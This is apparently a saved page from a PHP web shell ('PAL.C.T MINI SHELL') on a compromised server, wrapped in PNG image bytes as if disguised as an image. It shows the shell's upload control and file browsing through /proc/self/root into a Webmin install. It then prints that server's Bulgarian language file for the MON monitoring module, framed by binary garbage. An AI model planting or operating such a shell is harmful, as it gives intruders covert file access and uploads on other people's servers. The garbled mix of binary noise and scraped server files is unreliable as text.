php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/libexec/webmin/mon/lang/
upload
files >> //proc/self/root/usr/libexec/webmin/mon/lang/bg.auto

index_title=MON Service Monitor
index_return=MON индекс
index_edir=MON директория $1 не съществува. Може би MON не е инсталиран или вашата <a href='$2'>конфигурация на модул</a> е неправилна.
mon_global_title=Конфигурация на глобални променливи
mon_conf_title=Основна конфигурация
mon_status_title=Оперативно състояние
hostgroups_title=Конфигурация на MON-хост групи
services_title=Групи за наблюдение - Определения за услуги

head_hostgroups=Хост групи и услуги
head_groups=Име на домакинската група
head_members=Членове на домакинската група
head_services=Услуги за хостгрупи за гледане
head_service=Услуга за гледане
head_param=Сервизни параметри
head_watch=Гледате ли групата?
head_monauth=Предоставяне на удостоверяване за MONCMD
head_usr=Потребител
head_pass=парола
head_mand=(Параметрите в „ЧЕРВЕН ЦВЯТ“ са задължителни)

err_nomon=пакет 'mon' не е инсталиран в системата
err_nomonconf=Конфигурационният файл MON $1 не беше намерен във вашата система. Може би MON не е инсталиран или вашата <a href='$2'>конфигурация на модул</a> е неправилна.
err_nowatch=Няма избрани групи за гледане. Изберете поне една група за наблюдение, за да продължите.
err_noserv=Няма избрани услуги за часовата група
err_nomemb=Няма избрани домакини/членове за групата за гледане
err_monrun=MON не работи на хостмашина. Моля, започнете MON.
stop_err=Спирането на MON не бе успешно
stop_epid=Вече не тичам
start_err=Неуспешно стартиране на MON
restart_err=Рестартирането на MON не бе успешно
restart_epid=Неуспешно получаване на PID

other=Други (отделено пространство)
next=Следващия
mon_stat=MON статус
mon_off=MON услугите не са започнати
mon_start=Стартирайте MON Services
mon_stop=Спрете MON Services
mon_restart=Рестартирайте MON Services
mon_startdesc=Кликнете върху този бутон, за да стартирате MON сървъра. Докато не се стартира, няма да се извършва конфигуриран мониторинг.
mon_stopdesc=Кликнете върху този бутон, за да спрете MON сървъра. При спиране конфигурираният мониторинг ще спре.
mon_restartdesc=Щракнете върху този бутон, за да приложите текущата конфигурация на MON, като рестартирате процеса на сървъра.
line=(по един на всеки ред)
save_apply=Запазете и приложите
watch=Watchgroup
members=Потребители
def_perargs=wd {Sat-Sun}

def_desc=описание
def_inter=интервал
def_mon=монитор
def_dep=dpend
def_per=месечен цикъл
def_alert=тревога
def_alertevr=alertevery
def_alertaft=alertafter
def_alertstr=startupalert
def_allow=allow_empty_group
def_traptime=traptimeout
def_trapdur=trapduration
def_rand=randskew
def_exclhost=exclude_hosts
def_exclper=exclude_period

groups_title=Хост групи
groups_group=Име на групата
groups_members=Член домакини

watches_title=Гледайте списъци
watches_group=Гледаща група
watches_services=Услуги, които се наблюдават
watches_sadd=Добавяне на услуга ..
watches_add=Добавяне на списък за гледане за група :
watches_return=списъци за наблюдение
watches_none=Все още не са дефинирани списъци за гледане.

global_title=Глобални опции
global_header=Опции за глобална конфигурация на MON
global_maxprocs=Максимални MON процеси
global_histlength=Дължина на историята на събитията
global_alertdir=Директория на програми за предупреждение
global_mondir=Монитор на директорията на програмите
global_authtype=Тип удостоверяване
global_authtype_=По подразбиране
global_authtype_getpwnam=Системни разговори
global_authtype_userfile=Файл потребители на MON
global_authtype_shadow=Файл с сянка
global_userfile=Файл на потребител на MON
global_emaxprocs=Липсващ или невалиден брой MON процеси
global_ehistlength=Липсва или невалидна продължителност на историята на събитията
global_ealertdir=Липсваща или невалидна директория с програми за предупреждение
global_emondir=Липсваща или невалидна директория на мониторните програми
global_euserfile=Липсващ потребителски файл на MON

watch_title=Редактиране на списъка за гледане
watch_header=Детайли за гледане на групата домакини
watch_group=Домакин група за гледане
watch_services=Услуги, които се наблюдават
watch_service=Име на услугата
watch_monitor=Монитор за използване
watch_interval=Проверете всеки
watch_periods=Периоди на мониторинг

service_title=Добавяне на услуга
service_title2=Редактиране на услугата
service_header=Детайли за гледане на услугата
service_name=Име на услугата
service_interval=Проверете всеки
service_desc=описание
service_units_s=секунди
service_units_m=минути
service_units_h=часа
service_units_d=дни
service_units_w=седмици
service_monitor=Използване на монитор
service_mon1=Стандартен монитор
service_mon0=Друг монитор ..
service_args=Параметри на монитора
service_period=Период на наблюдение $1 
service_days=Дни за проверка
service_hours=Часове за проверка
service_all=всичко
service_pstr=Спецификация на периода
service_new=Нов период за наблюдение
service_alerts=Сигнали за период
service_alert=Тревога
service_atype=Пусни когато
service_atype_alert=Обслужването намалява
service_atype_upalert=Услугите се появяват
service_atype_startupalert=MON стартира
service_aargs=Допълнителни параметри
service_every=Изпращане на сигнал
service_every_def=Всеки път, когато се пуска монитор
service_every_time=всеки
service_num=Максимални сигнали за изпращане
service_unlimited=неограничен
service_after=Неуспешни преди предупреждение
service_immediate=веднага
service_after_num=След неуспехи $1 
service_aftertime=В рамките на времевия интервал
service_newperiod=Добавете нов период
service_delperiod=Изтрийте този период
service_err=Неуспешно запазване на услугата
service_ename=Липсващо или невалидно име на услугата
service_einterval=Липсващ или невалиден интервал за проверка
service_eother=Липсващ или невалиден монитор
service_ehour=Липсващ или невалиден час за период $1 (трябва да е като 9:00 или 17:00)
service_eperiod=Не са посочени дни или часове за период $1 
service_eevery=Липсващ или невалиден интервал за предупреждение за обслужване
service_eafter=Липсващ или невалиден брой повреди преди предупреждение
service_enum=Липсващи или невалидни максимално изпратени сигнали
service_epstr=Липсва спецификация на периода
service_known0=<tt>Време::Период</tt> низ
service_known1=Определени дни и часове
service_known2=Определен период

status_title=MON статус
status_ecgi=Програма CGI за статуса на MON $1 не съществува. Може би не е инсталиран или вашата <a href='$2'>конфигурация на модул</a> е неправилна.
status_eperl=Програмата CGI за статуса на MON изисква модул $1 perl. <a href='$2'>Кликнете тук</a>, за да го инсталирате директно от CPAN.
status_esame=Програмата CGI за статуса на MON $1 е зададена на скрипта <tt>mon.cgi</tt> в този модул Webmin, а не програмата CGI, която се предлага с MON. Настройте <a href='$2'>конфигурацията на модула</a>, за да използвате правилния път.

users_title=MON потребители
users_etype=Списъкът с потребители на MON не може да бъде редактиран, тъй като MON понастоящем не е конфигуриран да го използва за удостоверяване на страницата <a href='$1'>Global Options</a>.
users_header=Разрешени потребители на MON в $1 
users_nousers=В $1 не са дефинирани потребители на MON.
users_add=Създайте нов потребител.
users_return=Списък на потребителите на MON

user_create=Създайте MON потребител
user_edit=Редактиране на MON потребител
user_header=MON потребителски данни
user_user=Потребител
user_pass=парола
user_leave=Оставете непроменена
user_err=Неуспешно запазване на потребителя
user_euser=Липсващо или невалидно потребителско име
user_esame=Потребител със същото име вече съществува

auth_title=Клиентски команди
auth_desc=Тази страница ви позволява да контролирате кои MON команди могат да се изпълняват от кои потребители, когато използват клиентските програми.
auth_cmd=Команда MON
auth_users=Разрешени потребители
auth_none=Никой
auth_all=всички
auth_sel=Само потребители
auth_err=Неуспешно запазване на клиентските команди
auth_eusers=Не влизат потребители за команда $1 

periods_title=Определени периоди
periods_period=Име на периода
periods_times=Дни и времена
periods_alldays=Всички дни
periods_allhours=Всички часове
periods_err=Неуспешно запазване на определени периоди
periods_ename='$ $1' не е валидно име на период
periods_ehour=Липсващ или невалиден час за период $1 (трябва да е като 9:00 или 17:00)

show_title=Оперативно състояние
show_ecgi=Програмата за статут на MON $1 не съществува. Може би не е инсталиран или вашата <a href='$2'>конфигурация на модул</a> е неправилна.
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`